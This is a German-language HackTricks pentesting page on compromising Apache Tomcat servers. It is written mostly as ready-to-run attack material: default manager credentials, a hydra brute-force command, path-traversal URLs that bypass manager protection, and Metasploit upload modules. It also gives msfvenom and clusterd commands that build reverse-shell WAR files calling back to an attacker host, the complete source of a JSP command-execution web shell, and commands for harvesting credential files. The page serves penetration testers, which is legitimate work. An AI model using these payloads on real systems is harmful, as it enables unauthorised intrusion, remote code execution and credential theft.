# Tomcat
Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
## Discovery
* Normalerweise läuft es auf **Port 8080**
* **Gemeinsamer Tomcat-Fehler:**
## Enumeration
### **Versionsidentifizierung**
Um die Version von Apache Tomcat zu finden, kann ein einfacher Befehl ausgeführt werden:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **Manager-Dateispeicherort**
Die genauen Speicherorte der **`/manager`**- und **`/host-manager`**-Verzeichnisse zu identifizieren ist entscheidend, da ihre Namen geändert sein könnten. Es wird empfohlen, eine Brute-Force-Suche durchzuführen, um diese Seiten zu lokalisieren.
### **Benutzername Aufzählung**
Für Tomcat-Versionen älter als 6 ist es möglich, Benutzernamen durchzuenummerieren:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Standardanmeldeinformationen**
Das Verzeichnis **`/manager/html`** ist besonders sensibel, da es das Hochladen und Bereitstellen von WAR-Dateien ermöglicht, was zu einer Codeausführung führen kann. Dieses Verzeichnis ist durch eine grundlegende HTTP-Authentifizierung geschützt, wobei häufig verwendete Anmeldeinformationen sind:
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Diese Anmeldeinformationen können mit dem folgenden Befehl getestet werden:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Eine weitere bemerkenswerte Verzeichnis ist **`/manager/status`**, das die Tomcat- und Betriebssystemversion anzeigt und bei der Identifizierung von Schwachstellen hilft.
### **Brute-Force-Angriff**
Um einen Brute-Force-Angriff auf das Manager-Verzeichnis zu versuchen, kann man Folgendes verwenden:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Häufige Schwachstellen
### **Passwort-Backtrace-Offenlegung**
Der Zugriff auf `/auth.jsp` kann unter günstigen Umständen das Passwort in einem Backtrace offenlegen.
### **Doppelte URL-Codierung**
Die CVE-2007-1860-Schwachstelle in `mod_jk` ermöglicht eine doppelte URL-Codierungspfadtraversierung, die unbefugten Zugriff auf die Verwaltungsschnittstelle über eine speziell erstellte URL ermöglicht.
Um Zugriff auf das Verwaltungsweb von Tomcat zu erhalten, gehen Sie zu: `pathTomcat/%252E%252E/manager/html`
### /Beispiele
Apache Tomcat-Versionen 4.x bis 7.x enthalten Beispiel-Skripte, die anfällig für Informationslecks und Cross-Site-Scripting (XSS)-Angriffe sind. Diese umfassend aufgelisteten Skripte sollten auf unbefugten Zugriff und potenzielle Ausnutzung überprüft werden. Weitere Informationen finden Sie [hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Pfadtraversierungs-Exploit**
In einigen [**anfälligen Konfigurationen von Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) können Sie über den Pfad `/..;/` auf geschützte Verzeichnisse in Tomcat zugreifen.
So könnten Sie beispielsweise möglicherweise auf die **Tomcat-Manager**-Seite zugreifen, indem Sie auf Folgendes zugreifen: `www.vulnerable.com/lalala/..;/manager/html`
**Ein weiterer Weg**, geschützte Pfade mit diesem Trick zu umgehen, besteht darin, auf `http://www.vulnerable.com/;param=value/manager/html` zuzugreifen.
## RCE
Schließlich können Sie, wenn Sie Zugriff auf den Tomcat Webanwendungs-Manager haben, eine .war-Datei hochladen und bereitstellen (Code ausführen).
### Einschränkungen
Sie können nur ein WAR bereitstellen, wenn Sie über ausreichende Berechtigungen verfügen (Rollen: **admin**, **manager** und **manager-script**). Diese Details finden Sie normalerweise in der Datei _tomcat-users.xml_, die in der Regel unter `/usr/share/tomcat9/etc/tomcat-users.xml` definiert ist (es variiert je nach Version) (siehe [POST ](tomcat.md#post)Abschnitt).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit ist ein beliebtes Framework für die Entwicklung, Test und Ausführung von Exploits gegen eine Remote-Zielmaschine. Es bietet eine Vielzahl von Exploit-Payloads, um Schwachstellen in Systemen zu identifizieren und auszunutzen. Metasploit kann auch für das Penetration Testing von Webanwendungen verwendet werden.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost
msf exploit(multi/http/tomcat_mgr_upload) > set rport
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
1. Erstellen Sie den Krieg zur Bereitstellung:
```bash
msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
```
2. Lade die Datei `revshell.war` hoch und greife darauf zu (`/revshell/`):
### Bind- und Reverse-Shell mit [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
In einigen Szenarien funktioniert dies nicht (zum Beispiel bei alten Versionen von Sun)
#### Download
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Umgekehrte Shell
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
#### Bind-Shell
```bash
./tomcatWarDeployer.py -U -P -p :/manager/html/
```
### Mit [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manuelle Methode - Web-Shell
Erstellen Sie **index.jsp** mit diesem [Inhalt](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+""; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### Manuelle Methode 2
Holen Sie sich eine JSP-Webshell wie [diese](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) und erstellen Sie eine WAR-Datei:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Der Name der Tomcat-Anmeldeinformationsdatei lautet _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Andere Möglichkeiten, Tomcat-Anmeldeinformationen zu sammeln:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Andere Tomcat-Scanning-Tools
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## Referenzen
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es noch heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)!
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.